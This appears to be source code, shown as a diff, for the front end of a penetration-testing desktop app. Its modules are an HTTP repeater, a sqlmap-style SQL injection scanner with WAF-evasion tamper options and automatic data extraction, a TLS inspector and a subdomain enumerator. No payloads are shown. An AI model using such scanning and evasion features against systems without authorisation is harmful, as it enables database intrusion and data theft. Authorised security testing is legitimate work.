const methods = ["GET", "POST", "PUT", "PATCH", "DELETE", "HEAD", "OPTIONS"];
function parseHeaders(): Record<string, string> {
const out: Record<string, string> = {};
for (const line of headersRaw.value.split("\n")) {
const idx = line.indexOf(":");
if (idx === -1) continue;
const k = line.slice(0, idx).trim();
const v = line.slice(idx + 1).trim();
if (k) out[k] = v;
}
return out;
}
const payload = computed(() => ({
method: method.value,
url: url.value,
headers: parseHeaders(),
body: body.value || null,
timeout_ms: timeoutMs.value,
follow_redirects: followRedirects.value,
ignore_tls: ignoreTls.value,
}));
const previewKind = computed<"html" | "json" | "xml" | "image" | "text" | "none">(() => {
const r = resp.value;
if (!r) return "none";
const ct = (r.content_type ?? "").toLowerCase();
if (ct.includes("html") || r.body.trim().startsWith("<!DOCTYPE") || r.body.trim().startsWith("<html")) return "html";
if (ct.includes("json") || (r.body.trim().startsWith("{") || r.body.trim().startsWith("["))) return "json";
if (ct.includes("xml") || r.body.trim().startsWith("<?xml")) return "xml";
if (ct.startsWith("image/")) return "image";
return "text";
});
const prettyBody = computed(() => {
const r = resp.value;
if (!r) return "";
try {
if (previewKind.value === "json") {
return JSON.stringify(JSON.parse(r.body), null, 2);
}
if (previewKind.value === "xml") {
return prettyXml(r.body);
}
} catch {}
return r.body;
});
function prettyXml(xml: string): string {
let formatted = "";
let indent = 0;
const nodes = xml.replace(/(>)(<)(\/*)/g, "$1\n$2$3").split("\n");
for (const line of nodes) {
const t = line.trim();
if (!t) continue;
if (t.match(/^<\/.+>/)) indent = Math.max(0, indent - 1);
formatted += " ".repeat(indent) + t + "\n";
if (t.match(/^<[^/!?][^>]*[^/]>$/) && !t.match(/<.+<\/.+>/)) indent++;
}
return formatted;
}
function isSafeBody(b: string): boolean {
// limit preview to 2MB to avoid browser lag
return b.length < 2_000_000;
}
async function send() {
if (sending.value) return;
sending.value = true;
err.value = "";
resp.value = null;
try {
resp.value = await invoke<RepeaterResp>("repeater_send", { req: payload.value });
tab.value = "body";
pushHistory(resp.value);
} catch (e: any) {
err.value = String(e);
} finally {
sending.value = false;
}
}
function pushHistory(r: RepeaterResp) {
const item: HistoryItem = {
ts: Date.now(),
method: method.value,
url: url.value,
headers_raw: headersRaw.value,
body: body.value,
status: r.status,
time_ms: r.time_ms,
};
history.value.unshift(item);
if (history.value.length > 30) history.value.pop();
localStorage.setItem("repeater:history", JSON.stringify(history.value));
}
function loadHistory(h: HistoryItem) {
method.value = h.method;
url.value = h.url;
headersRaw.value = h.headers_raw;
body.value = h.body;
}
async function buildCurl() {
try {
curlText.value = await invoke<string>("repeater_to_curl", { req: payload.value });
tab.value = "curl";
} catch (e: any) {
err.value = String(e);
}
}
async function copyTo(text: string) {
try { await navigator.clipboard.writeText(text); } catch {}
}
function statusClass(s: number) {
if (s >= 200 && s < 300) return "s-2xx";
if (s >= 300 && s < 400) return "s-3xx";
if (s >= 400 && s < 500) return "s-4xx";
return "s-5xx";
}
function fmtBytes(n: number) {
if (n < 1024) return `${n} B`;
if (n < 1024 * 1024) return `${(n / 1024).toFixed(1)} KB`;
return `${(n / 1024 / 1024).toFixed(2)} MB`;
}
onMounted(() => {
try { history.value = JSON.parse(localStorage.getItem("repeater:history") || "[]"); } catch {}
});
</script>
<template>
<div class="module">
<div class="req-row">
<select v-model="method" class="method-sel">
<option v-for="m in methods" :key="m">{{ m }}</option>
</select>
<input v-model="url" class="url-input" placeholder="https://target.com/path" spellcheck="false" />
</div>
<div class="row">
<label class="toggle"><input type="checkbox" v-model="followRedirects" /><span>follow</span></label>
<label class="toggle"><input type="checkbox" v-model="ignoreTls" /><span>ignore-tls</span></label>
<label class="mini"><span>t/out</span><input v-model.number="timeoutMs" type="number" min="1000" max="120000" /></label>
<button class="btn-ghost curl-btn" @click="buildCurl"> curl</button>
</div>
<button class="exec send-btn" :disabled="sending" @click="send">{{ sending ? "[ sending... ]" : " SEND" }}</button>
<div class="split">
<div class="pane">
<div class="pane-head">request</div>
<label class="ta">
<span class="lbl">headers (Key: Value per line)</span>
<textarea class="term-input" v-model="headersRaw" rows="4" spellcheck="false" />
</label>
<label class="ta">
<span class="lbl">body</span>
<textarea class="term-input body-area" v-model="body" rows="6" spellcheck="false" placeholder='{"k":"v"} or form data' />
</label>
</div>
<div class="pane">
<div class="pane-head">response</div>
<div v-if="err" class="err-box">{{ err }}</div>
<div v-else-if="resp" class="resp-wrap">
<div class="resp-meta">
<span class="stat-badge" :class="statusClass(resp.status)">{{ resp.status }} {{ resp.status_text }}</span>
<span class="resp-time">{{ resp.time_ms }}ms</span>
<span class="resp-size">{{ fmtBytes(resp.body_len) }}</span>
<span v-if="resp.redirected" class="resp-redirect"> redirected</span>
<button class="btn-ghost tiny" @click="copyTo(resp!.body)">copy body</button>
</div>
<div class="tabs-mini">
<button :class="{ on: tab === 'body' }" @click="tab = 'body'">body</button>
<button :class="{ on: tab === 'preview' }" @click="tab = 'preview'">
preview <span class="kind-tag">[{{ previewKind }}]</span>
</button>
<button :class="{ on: tab === 'headers' }" @click="tab = 'headers'">headers ({{ resp.headers.length }})</button>
<button :class="{ on: tab === 'curl' }" @click="tab = 'curl'" :disabled="!curlText">curl</button>
</div>
<pre v-if="tab === 'body'" class="body-view">{{ resp.is_text ? resp.body : "[binary response — " + fmtBytes(resp.body_len) + "]" }}</pre>
<div v-else-if="tab === 'preview'" class="preview-wrap">
<iframe
v-if="previewKind === 'html' && isSafeBody(resp.body)"
class="html-frame"
:srcdoc="resp.body"
sandbox="allow-same-origin"
referrerpolicy="no-referrer"
></iframe>
<pre v-else-if="previewKind === 'json'" class="body-view json-view">{{ prettyBody }}</pre>
<pre v-else-if="previewKind === 'xml'" class="body-view xml-view">{{ prettyBody }}</pre>
<div v-else-if="previewKind === 'image'" class="preview-msg">image/binary content preview unavailable (response was read as text)</div>
<div v-else-if="!isSafeBody(resp.body)" class="preview-msg">response too large to preview safely ({{ fmtBytes(resp.body_len) }}) use body tab</div>
<div v-else class="preview-msg">no structured preview for this content-type showing plain text</div>
</div>
<div v-else-if="tab === 'headers'" class="hdr-list">
<div v-for="[k, v] in resp.headers" :key="k + v" class="hdr-item">
<span class="hdr-k">{{ k }}</span>
<span class="hdr-v">{{ v }}</span>
</div>
</div>
<pre v-else-if="tab === 'curl'" class="body-view curl-view">{{ curlText }}</pre>
</div>
<div v-else class="placeholder">no response yet hit SEND</div>
</div>
</div>
<details class="adv">
<summary>history · {{ history.length }}</summary>
<div class="hist-list">
<div v-if="!history.length" class="placeholder">no history yet</div>
<div v-for="(h, i) in history" :key="i" class="hist-row" @click="loadHistory(h)">
<span class="h-method">{{ h.method }}</span>
<span v-if="h.status" class="stat-badge tiny" :class="statusClass(h.status)">{{ h.status }}</span>
<span class="h-url">{{ h.url }}</span>
<span class="h-time">{{ h.time_ms }}ms</span>
</div>
</div>
</details>
</div>
</template>
<style scoped>
.req-row {
display: flex;
gap: 4px;
align-items: stretch;
min-width: 0;
width: 100%;
}
.method-sel {
background: var(--bg-panel);
border: 1px solid var(--alert);
color: var(--alert);
padding: 4px 8px;
font-weight: 700;
font-size: 12px;
font-family: inherit;
flex: 0 0 auto;
min-width: 80px;
}
.method-sel option { background: var(--bg); color: var(--fg); }
.url-input {
flex: 1 1 auto;
background: var(--bg-panel);
border: 1px solid var(--border);
color: var(--fg);
padding: 4px 8px;
font-size: 12px;
min-width: 0;
}
.url-input:focus { border-color: var(--accent); outline: none; }
.send-btn {
flex: 0 0 auto;
padding: 8px 12px;
font-size: 13px;
font-weight: 700;
letter-spacing: 0.2em;
text-transform: uppercase;
width: 100%;
min-width: 0;
height: auto;
}
.exec.small { padding: 4px 14px; font-size: 12px; font-weight: 700; letter-spacing: 0.1em; }
.curl-btn { margin-left: auto; }
.split {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 6px;
min-height: 0;
flex: 1;
}
.pane {
display: flex;
flex-direction: column;
gap: 4px;
border: 1px solid var(--border);
background: var(--bg-panel);
padding: 6px;
min-width: 0;
min-height: 0;
}
.pane-head {
font-size: 10px;
color: var(--fg-dim);
text-transform: uppercase;
letter-spacing: 0.15em;
border-bottom: 1px solid var(--border);
padding-bottom: 3px;
}
.body-area { min-height: 90px; }
.resp-wrap { display: flex; flex-direction: column; gap: 6px; min-height: 0; flex: 1; }
.resp-meta { display: flex; gap: 6px; align-items: center; flex-wrap: wrap; font-size: 11px; }
.stat-badge {
padding: 1px 6px;
font-weight: 700;
border: 1px solid;
font-size: 10px;
letter-spacing: 0.05em;
}
.stat-badge.tiny { padding: 0 4px; font-size: 9px; }
.s-2xx { color: var(--valid); border-color: var(--valid); background: rgba(92, 217, 130, 0.07); }
.s-3xx { color: var(--info); border-color: var(--info); }
.s-4xx { color: var(--warn); border-color: var(--warn); }
.s-5xx { color: var(--alert); border-color: var(--alert); }
.resp-time, .resp-size { color: var(--fg-dim); font-size: 10px; font-variant-numeric: tabular-nums; }
.resp-redirect { color: var(--info); font-size: 10px; }
.btn-ghost.tiny { padding: 1px 6px; font-size: 9px; margin-left: auto; }
.tabs-mini { display: flex; border-bottom: 1px solid var(--border); }
.tabs-mini button {
padding: 3px 10px;
color: var(--fg-dim);
font-size: 10px;
text-transform: uppercase;
letter-spacing: 0.1em;
background: transparent;
border: none;
border-bottom: 2px solid transparent;
}
.tabs-mini button.on { color: var(--alert); border-bottom-color: var(--alert); }
.tabs-mini button:disabled { opacity: 0.4; cursor: not-allowed; }
.body-view {
background: var(--bg);
border: 1px solid var(--border);
padding: 6px 8px;
font-size: 11px;
color: var(--fg);
overflow: auto;
max-height: 280px;
white-space: pre-wrap;
word-break: break-all;
font-family: var(--mono);
line-height: 1.4;
}
.curl-view { color: var(--valid); white-space: pre-wrap; }
.json-view { color: var(--info); }
.xml-view { color: var(--warn); }
.kind-tag { color: var(--fg-ghost); font-size: 8px; margin-left: 2px; }
.preview-wrap {
background: var(--bg);
border: 1px solid var(--border);
max-height: 320px;
overflow: hidden;
display: flex;
}
.html-frame {
width: 100%;
min-height: 280px;
border: none;
background: #fff;
}
.preview-msg {
padding: 20px;
color: var(--fg-ghost);
font-size: 11px;
text-align: center;
font-style: italic;
width: 100%;
}
.hdr-list {
max-height: 280px;
overflow-y: auto;
border: 1px solid var(--border);
background: var(--bg);
}
.hdr-item {
display: flex;
gap: 6px;
padding: 2px 6px;
font-size: 10px;
border-bottom: 1px solid var(--border);
}
.hdr-item:last-child { border: none; }
.hdr-k { color: var(--info); flex-shrink: 0; min-width: 0; max-width: 200px; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; }
.hdr-v { color: var(--fg-dim); word-break: break-all; }
.err-box {
padding: 8px;
color: var(--alert);
border: 1px solid var(--alert);
background: rgba(255, 47, 74, 0.05);
font-size: 11px;
word-break: break-all;
}
.placeholder {
color: var(--fg-ghost);
font-size: 11px;
text-align: center;
padding: 20px;
font-style: italic;
}
.adv { border: 1px solid var(--border); background: var(--bg-panel); padding: 4px 8px; }
.adv summary { cursor: pointer; font-size: 10px; color: var(--fg-dim); text-transform: uppercase; letter-spacing: 0.1em; }
.hist-list { display: flex; flex-direction: column; gap: 2px; margin-top: 6px; max-height: 200px; overflow-y: auto; }
.hist-row {
display: flex;
gap: 6px;
align-items: center;
padding: 3px 6px;
font-size: 11px;
cursor: pointer;
border: 1px solid transparent;
}
.hist-row:hover { border-color: var(--border-hot); background: var(--bg); }
.h-method { color: var(--alert); font-weight: 700; min-width: 50px; }
.h-url { flex: 1; color: var(--fg-dim); overflow: hidden; text-overflow: ellipsis; white-space: nowrap; min-width: 0; }
.h-time { color: var(--fg-ghost); font-size: 9px; }
@media (max-width: 640px) {
.split { grid-template-columns: 1fr; }
.body-view, .hdr-list { max-height: 200px; }
}
</style>

View File

@@ -0,0 +1,334 @@
<script setup lang="ts">
import { onUnmounted, ref } from "vue";
import { invoke } from "@tauri-apps/api/core";
import { listen, type UnlistenFn } from "@tauri-apps/api/event";
import Terminal from "../Terminal.vue";
import Prompt from "../Prompt.vue";
import { useTerminal } from "../../composables/useTerminal";
interface Finding {
param: string;
location: string;
technique: string;
dbms?: string;
prefix: string;
suffix: string;
payload: string;
full_payload: string;
evidence: string;
confidence: string;
extracted: Record<string, string>;
}
const url = ref("https://target.com/item.php?id=1");
const method = ref("GET");
const body = ref("");
const headersRaw = ref("");
const cookies = ref("");
const paramsFilter = ref("");
const tHeuristic = ref(true);
const tError = ref(true);
const tBoolean = ref(true);
const tUnion = ref(true);
const tTime = ref(false);
const level = ref(2);
const risk = ref(1);
const stopOnFirst = ref(true);
const autoExtract = ref(true);
const followRedirects = ref(true);
const tamperRandomcase = ref(false);
const tamperSpace2comment = ref(false);
const tamperEqualToLike = ref(false);
const concurrency = ref(4);
const timeoutMs = ref(15000);
const running = ref(false);
const findings = ref<Finding[]>([]);
const log = useTerminal();
const unlistens: UnlistenFn[] = [];
function parseHeaders(): Record<string, string> {
const out: Record<string, string> = {};
for (const line of headersRaw.value.split("\n")) {
const i = line.indexOf(":");
if (i === -1) continue;
const k = line.slice(0, i).trim();
const v = line.slice(i + 1).trim();
if (k) out[k] = v;
}
return out;
}
async function run() {
if (running.value) return;
running.value = true;
findings.value = [];
log.clear();
const techniques: string[] = [];
if (tHeuristic.value) techniques.push("heuristic");
if (tError.value) techniques.push("error");
if (tBoolean.value) techniques.push("boolean");
if (tUnion.value) techniques.push("union");
if (tTime.value) techniques.push("time");
if (!techniques.length) { log.err("pick at least one technique"); running.value = false; return; }
const tamper: string[] = [];
if (tamperRandomcase.value) tamper.push("randomcase");
if (tamperSpace2comment.value) tamper.push("space2comment");
if (tamperEqualToLike.value) tamper.push("equaltolike");
const params = paramsFilter.value.split(/[\s,]+/).map(s => s.trim()).filter(Boolean);
log.info(`target: ${method.value} ${url.value}`);
log.info(`techniques: ${techniques.join(",")} | level=${level.value} risk=${risk.value} tamper=${tamper.join(",") || "none"}`);
unlistens.push(await listen<string>("sqli:status", (e) => log.dim(String(e.payload))));
unlistens.push(await listen<Finding>("sqli:hit", (e) => {
const f = e.payload;
findings.value.push(f);
const dbms = f.dbms ? ` [DBMS:${f.dbms}]` : "";
log.hit(`[${f.confidence}] ${f.technique} ${f.location}:${f.param}${dbms}`);
log.hit(` payload: ${f.full_payload}`);
log.hit(` evidence: ${f.evidence}`);
for (const [k, v] of Object.entries(f.extracted)) {
log.valid(` ${k} = ${v}`);
}
}));
try {
await invoke("sqli_scan", {
req: {
url: url.value,
method: method.value,
body: body.value || null,
headers: parseHeaders(),
cookies: cookies.value || null,
params: params.length ? params : null,
techniques,
level: level.value,
risk: risk.value,
stop_on_first: stopOnFirst.value,
auto_extract: autoExtract.value,
tamper,
concurrency: concurrency.value,
timeout_ms: timeoutMs.value,
follow_redirects: followRedirects.value,
},
});
log.ok(`scan done: ${findings.value.length} injection point(s)`);
} catch (e: any) {
log.err(String(e));
} finally {
running.value = false;
cleanup();
}
}
function cleanup() { while (unlistens.length) { const u = unlistens.pop(); if (u) u(); } }
onUnmounted(cleanup);
</script>
<template>
<div class="module">
<div class="form">
<div class="row">
<select v-model="method" class="method-sel">
<option>GET</option>
<option>POST</option>
<option>PUT</option>
<option>PATCH</option>
</select>
<input v-model="url" class="url-input" placeholder="https://target.com/item?id=1 (use * to mark injection point)" spellcheck="false" />
</div>
<details class="adv" open>
<summary>request · body · cookies · headers</summary>
<label class="ta">
<span class="lbl">body (POST/PUT) · <code>*</code> marks injection point</span>
<textarea class="term-input" v-model="body" rows="2" spellcheck="false" placeholder="user=admin&id=1*" />
</label>
<label class="ta">
<span class="lbl">cookies · <code>*</code> marks injection point</span>
<input class="inp" v-model="cookies" placeholder='sess=abc123; tracking=xxx*' />
</label>
<label class="ta">
<span class="lbl">headers · <code>*</code> on value to inject there</span>
<textarea class="term-input" v-model="headersRaw" rows="2" spellcheck="false" placeholder="Referer: https://x.com&#10;X-Forwarded-For: 1.2.3.4*" />
</label>
<Prompt label="params filter" v-model="paramsFilter" placeholder="id,cat (blank = test all)" />
</details>
<details class="adv">
<summary>techniques</summary>
<div class="row">
<label class="toggle"><input type="checkbox" v-model="tHeuristic" /><span>heuristic</span></label>
<label class="toggle"><input type="checkbox" v-model="tError" /><span>error</span></label>
<label class="toggle"><input type="checkbox" v-model="tBoolean" /><span>bool-blind</span></label>
<label class="toggle"><input type="checkbox" v-model="tUnion" /><span>union</span></label>
<label class="toggle"><input type="checkbox" v-model="tTime" /><span>time-blind</span></label>
</div>
</details>
<details class="adv">
<summary>tuning · level / risk / tamper</summary>
<div class="row">
<label class="mini"><span>level</span><input v-model.number="level" type="number" min="1" max="3" /></label>
<label class="mini"><span>risk</span><input v-model.number="risk" type="number" min="1" max="3" /></label>
<label class="toggle"><input type="checkbox" v-model="stopOnFirst" /><span>stop first</span></label>
<label class="toggle"><input type="checkbox" v-model="autoExtract" /><span>extract</span></label>
<label class="toggle"><input type="checkbox" v-model="followRedirects" /><span>follow</span></label>
</div>
<div class="row">
<span class="waf-label">tamper/WAF</span>
<label class="toggle"><input type="checkbox" v-model="tamperRandomcase" /><span>randomcase</span></label>
<label class="toggle"><input type="checkbox" v-model="tamperSpace2comment" /><span>space/**/</span></label>
<label class="toggle"><input type="checkbox" v-model="tamperEqualToLike" /><span>=LIKE</span></label>
</div>
</details>
<div class="row">
<label class="mini"><span>conc</span><input v-model.number="concurrency" type="number" min="1" max="20" /></label>
<label class="mini"><span>t/out</span><input v-model.number="timeoutMs" type="number" min="2000" max="60000" /></label>
</div>
<div class="row">
<button class="exec" :disabled="running" @click="run">{{ running ? "[ injecting... ]" : "> inject" }}</button>
</div>
</div>
<div v-if="findings.length" class="findings">
<div v-for="(f, i) in findings" :key="i" class="finding" :class="`conf-${f.confidence.toLowerCase()}`">
<div class="f-head">
<span class="f-tech">{{ f.technique }}</span>
<span class="f-loc">{{ f.location }} / <b>{{ f.param }}</b></span>
<span v-if="f.dbms" class="f-dbms">{{ f.dbms }}</span>
<span class="sev" :class="`sev-${f.confidence.toLowerCase()}`">{{ f.confidence }}</span>
</div>
<div class="f-payload">
<span class="f-prefix" v-if="f.prefix">prefix <code>{{ f.prefix }}</code></span>
<span class="f-suffix" v-if="f.suffix">suffix <code>{{ f.suffix }}</code></span>
</div>
<pre class="f-full">{{ f.full_payload }}</pre>
<div class="f-evidence">» {{ f.evidence }}</div>
<div v-if="Object.keys(f.extracted).length" class="f-extracted">
<div v-for="(v, k) in f.extracted" :key="k" class="kv">
<span class="k">{{ k }}:</span> <span class="v">{{ v }}</span>
</div>
</div>
</div>
</div>
<Terminal :lines="log.lines.value" title="sqli // sqlmap-style detection" @clear="log.clear()" />
</div>
</template>
<style scoped>
.adv { border: 1px solid var(--border); background: var(--bg-panel); padding: 4px 8px; }
.adv summary { cursor: pointer; font-size: 10px; color: var(--fg-dim); text-transform: uppercase; letter-spacing: 0.1em; padding: 2px 0; }
.adv summary:hover { color: var(--fg); }
.adv > *:not(summary) { margin-top: 6px; }
.method-sel {
background: var(--bg-panel);
border: 1px solid var(--alert);
color: var(--alert);
padding: 4px 8px;
font-weight: 700;
font-size: 12px;
font-family: inherit;
flex-shrink: 0;
}
.method-sel option { background: var(--bg); color: var(--fg); }
.url-input {
flex: 1;
background: var(--bg-panel);
border: 1px solid var(--border);
color: var(--fg);
padding: 4px 8px;
font-size: 12px;
min-width: 0;
}
.url-input:focus { border-color: var(--accent); outline: none; }
.inp {
background: var(--bg-panel);
border: 1px solid var(--border);
color: var(--fg);
padding: 4px 8px;
font-size: 12px;
font-family: inherit;
width: 100%;
}
.inp:focus { border-color: var(--info); outline: none; }
code {
color: var(--info);
background: var(--bg);
padding: 0 4px;
border: 1px solid var(--border);
font-size: 10px;
}
.waf-label {
color: var(--warn);
font-size: 10px;
text-transform: uppercase;
letter-spacing: 0.15em;
align-self: center;
padding-right: 4px;
}
.findings { display: flex; flex-direction: column; gap: 6px; max-height: 300px; overflow-y: auto; }
.finding {
background: var(--bg-panel);
border: 1px solid var(--border);
padding: 6px 8px;
display: flex;
flex-direction: column;
gap: 3px;
}
.finding.conf-high { border-left: 3px solid var(--alert); }
.finding.conf-medium { border-left: 3px solid var(--warn); }
.finding.conf-low { border-left: 3px solid var(--fg-dim); }
.f-head { display: flex; gap: 6px; align-items: center; flex-wrap: wrap; font-size: 11px; }
.f-tech {
font-weight: 700;
color: var(--alert);
text-transform: uppercase;
letter-spacing: 0.1em;
font-size: 10px;
}
.f-loc { color: var(--info); font-size: 11px; }
.f-loc b { color: var(--fg); }
.f-dbms { color: var(--valid); font-size: 10px; border: 1px solid var(--valid); padding: 0 5px; }
.f-payload { display: flex; gap: 8px; font-size: 10px; color: var(--fg-dim); flex-wrap: wrap; }
.f-full {
background: var(--bg);
border: 1px solid var(--border);
padding: 4px 6px;
font-size: 11px;
color: var(--valid);
white-space: pre-wrap;
word-break: break-all;
font-family: var(--mono);
margin: 0;
}
.f-evidence { color: var(--fg-dim); font-size: 10px; font-style: italic; }
.f-extracted {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(160px, 1fr));
gap: 3px;
margin-top: 3px;
}
.kv {
background: var(--bg);
border: 1px solid var(--border);
padding: 2px 6px;
font-size: 10px;
}
.kv .k { color: var(--fg-dim); text-transform: uppercase; letter-spacing: 0.1em; font-size: 9px; }
.kv .v { color: var(--valid); font-weight: 700; }
</style>

View File

@@ -0,0 +1,145 @@
<script setup lang="ts">
import { ref } from "vue";
import { invoke } from "@tauri-apps/api/core";
import Prompt from "../Prompt.vue";
import Terminal from "../Terminal.vue";
import { useTerminal } from "../../composables/useTerminal";
interface Cert {
subject: string;
issuer: string;
serial: string;
not_before: string;
not_after: string;
days_remaining: number;
sans: string[];
key_algo: string;
signature_algo: string;
sha256_fingerprint: string;
is_ca: boolean;
self_signed: boolean;
expired: boolean;
}
interface Report {
host: string;
port: number;
tls_version: string;
cipher_suite?: string;
sni_presented: string;
cert_chain: Cert[];
chain_valid: boolean;
issues: string[];
alpn?: string;
}
const host = ref("example.com");
const port = ref(443);
const timeoutMs = ref(8000);
const running = ref(false);
const report = ref<Report | null>(null);
const log = useTerminal();
async function run() {
if (running.value) return;
running.value = true;
report.value = null;
log.clear();
try {
report.value = await invoke<Report>("ssl_scan", {
req: { host: host.value.trim(), port: port.value, timeout_ms: timeoutMs.value },
});
const r = report.value;
log.valid(`${r.tls_version}${r.cipher_suite ? " / " + r.cipher_suite : ""}${r.alpn ? " / ALPN: " + r.alpn : ""}`);
log.info(`chain: ${r.cert_chain.length} cert(s)`);
for (const iss of r.issues) log.warn(iss);
} catch (e: any) { log.err(String(e)); }
finally { running.value = false; }
}
function daysClass(d: number) {
if (d < 0) return "expired";
if (d < 14) return "warn";
return "ok";
}
</script>
<template>
<div class="module">
<div class="form">
<Prompt label="host" v-model="host" placeholder="example.com" />
<div class="row">
<label class="mini"><span>port</span><input v-model.number="port" type="number" min="1" max="65535" /></label>
<label class="mini"><span>t/out</span><input v-model.number="timeoutMs" type="number" min="1000" max="30000" /></label>
<button class="exec" :disabled="running" @click="run">{{ running ? "[ handshaking... ]" : "> inspect" }}</button>
</div>
</div>
<div v-if="report" class="report">
<div class="meta">
<span class="meta-k">TLS</span>
<span class="meta-v tls">{{ report.tls_version }}</span>
<span v-if="report.cipher_suite" class="meta-v">{{ report.cipher_suite }}</span>
<span v-if="report.alpn" class="meta-v alpn">ALPN: {{ report.alpn }}</span>
</div>
<div v-if="report.issues.length" class="issues">
<div class="issues-head">⚠ {{ report.issues.length }} issue(s)</div>
<div v-for="(i, idx) in report.issues" :key="idx" class="issue">» {{ i }}</div>
</div>
<div v-for="(c, i) in report.cert_chain" :key="i" class="cert">
<div class="cert-head">
<span class="cert-idx">[{{ i === 0 ? "LEAF" : i === report.cert_chain.length - 1 ? "ROOT" : `CHAIN ${i}` }}]</span>
<span class="cert-subj">{{ c.subject.slice(0, 80) }}</span>
<span v-if="c.expired" class="tag danger">EXPIRED</span>
<span v-else-if="c.days_remaining < 14" class="tag warn">{{ c.days_remaining }}d</span>
<span v-else class="tag ok">{{ c.days_remaining }}d</span>
</div>
<div class="cert-row"><span class="k">issuer</span><span>{{ c.issuer }}</span></div>
<div class="cert-row"><span class="k">valid</span><span>{{ c.not_before }} → {{ c.not_after }}</span></div>
<div class="cert-row"><span class="k">days</span><span :class="daysClass(c.days_remaining)">{{ c.days_remaining }}</span></div>
<div class="cert-row"><span class="k">key</span><span>{{ c.key_algo }}</span></div>
<div class="cert-row"><span class="k">sig</span><span>{{ c.signature_algo }}</span></div>
<div v-if="c.sans.length" class="cert-row sans-row">
<span class="k">SANs ×{{ c.sans.length }}</span>
<span class="sans">{{ c.sans.join(", ") }}</span>
</div>
<div class="cert-row"><span class="k">sha256</span><span class="fp">{{ c.sha256_fingerprint }}</span></div>
</div>
</div>
<Terminal :lines="log.lines.value" title="ssl // tls inspector" @clear="log.clear()" />
</div>
</template>
<style scoped>
.report { display: flex; flex-direction: column; gap: 6px; max-height: 440px; overflow-y: auto; }
.meta { display: flex; gap: 6px; flex-wrap: wrap; padding: 6px 10px; background: var(--bg-panel); border: 1px solid var(--border); font-size: 11px; }
.meta-k { color: var(--fg-dim); text-transform: uppercase; letter-spacing: 0.15em; font-size: 10px; }
.meta-v { color: var(--fg); padding: 0 6px; border: 1px solid var(--border-hot); font-size: 10px; }
.meta-v.tls { color: var(--valid); border-color: var(--valid); }
.meta-v.alpn { color: var(--info); border-color: var(--info); }
.issues { background: rgba(255, 47, 74, 0.05); border: 1px solid var(--alert); padding: 6px 10px; }
.issues-head { color: var(--alert); font-size: 11px; font-weight: 700; text-transform: uppercase; letter-spacing: 0.1em; margin-bottom: 3px; }
.issue { color: var(--alert); font-size: 11px; padding: 1px 0; }
.cert { background: var(--bg-panel); border: 1px solid var(--border); padding: 6px 10px; }
.cert-head { display: flex; gap: 6px; align-items: center; flex-wrap: wrap; padding-bottom: 4px; border-bottom: 1px solid var(--border); margin-bottom: 4px; }
.cert-idx { color: var(--alert); font-size: 10px; font-weight: 700; letter-spacing: 0.15em; flex-shrink: 0; }
.cert-subj { color: var(--fg); font-size: 11px; flex: 1; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; min-width: 0; }
.tag { font-size: 9px; padding: 1px 5px; border: 1px solid; letter-spacing: 0.1em; flex-shrink: 0; }
.tag.ok { color: var(--valid); border-color: var(--valid); }
.tag.warn { color: var(--warn); border-color: var(--warn); }
.tag.danger { color: var(--alert); border-color: var(--alert); }
.cert-row { display: flex; gap: 8px; font-size: 10px; padding: 1px 0; }
.cert-row .k { color: var(--fg-dim); text-transform: uppercase; letter-spacing: 0.1em; min-width: 60px; flex-shrink: 0; font-size: 9px; }
.cert-row .k + span { color: var(--fg); word-break: break-all; }
.cert-row .expired { color: var(--alert); }
.cert-row .warn { color: var(--warn); }
.cert-row .ok { color: var(--valid); }
.sans { color: var(--info) !important; font-size: 10px; word-break: break-all; }
.fp { color: var(--fg-dim) !important; font-size: 9px; word-break: break-all; }
</style>

View File

@@ -0,0 +1,244 @@
<script setup lang="ts">
import { onMounted, onUnmounted, ref } from "vue";
import { invoke } from "@tauri-apps/api/core";
import { listen, type UnlistenFn } from "@tauri-apps/api/event";
import Terminal from "../Terminal.vue";
import Prompt from "../Prompt.vue";
import { useTerminal } from "../../composables/useTerminal";
interface SourceList { free: string[]; key_based: string[]; }
interface SourceStat { source: string; count: number; error?: string | null; took_ms: number; }
const domain = ref("example.com");
const wordlist = ref("www,api,dev,staging,admin,mail,ftp,test,portal,app,beta,vpn,m,blog,shop");
const concurrency = ref(50);
const running = ref(false);
const progress = ref({ done: 0, total: 0 });
const sources = ref<SourceList>({ free: [], key_based: [] });
const enabledSources = ref<Set<string>>(new Set());
const apiKeys = ref<Record<string, string>>({});
const sourceStats = ref<SourceStat[]>([]);
const log = useTerminal();
const unlistens: UnlistenFn[] = [];
async function loadSources() {
try {
sources.value = await invoke<SourceList>("subdomain_sources");
// load saved keys + enabled state from localStorage
const savedKeys = JSON.parse(localStorage.getItem("subenum:keys") || "{}");
apiKeys.value = savedKeys;
const savedEnabled = JSON.parse(localStorage.getItem("subenum:enabled") || "null");
if (savedEnabled) {
enabledSources.value = new Set(savedEnabled);
} else {
enabledSources.value = new Set(sources.value.free);
}
} catch (e: any) { log.err(String(e)); }
}
function toggleSource(name: string) {
if (enabledSources.value.has(name)) enabledSources.value.delete(name);
else enabledSources.value.add(name);
enabledSources.value = new Set(enabledSources.value);
localStorage.setItem("subenum:enabled", JSON.stringify(Array.from(enabledSources.value)));
}
function saveKeys() {
localStorage.setItem("subenum:keys", JSON.stringify(apiKeys.value));
log.dim("api keys saved (local storage)");
}
async function run() {
if (running.value) return;
running.value = true;
sourceStats.value = [];
log.clear();
progress.value = { done: 0, total: 0 };
const words = wordlist.value.split(/[,\n\s]+/).map((w) => w.trim()).filter(Boolean);
const enabled = Array.from(enabledSources.value);
log.info(`domain: ${domain.value}`);
log.info(`sources: ${enabled.join(",")} (${enabled.length}) | brute: ${words.length} words`);
unlistens.push(await listen<string>("subenum:status", (e) => log.dim(String(e.payload))));
unlistens.push(await listen<{ done: number; total: number }>("subenum:progress", (e) => { progress.value = e.payload; }));
unlistens.push(await listen<SourceStat>("subenum:source", (e) => {
const s = e.payload;
if (s.error) return;
sourceStats.value.push(s);
log.valid(`${s.source.padEnd(15)} +${String(s.count).padStart(4)} ${s.took_ms}ms`);
}));
unlistens.push(await listen<any>("subenum:hit", (e) => {
const p = e.payload;
log.valid(`${p.host.padEnd(40)}${p.ips.join(",")} [${p.source}]`);
}));
try {
const hits: unknown[] = await invoke("subdomain_enum", {
req: {
domain: domain.value,
sources: enabled,
wordlist: words,
concurrency: concurrency.value,
api_keys: apiKeys.value,
},
});
log.ok(`enum complete: ${hits.length} live host(s)`);
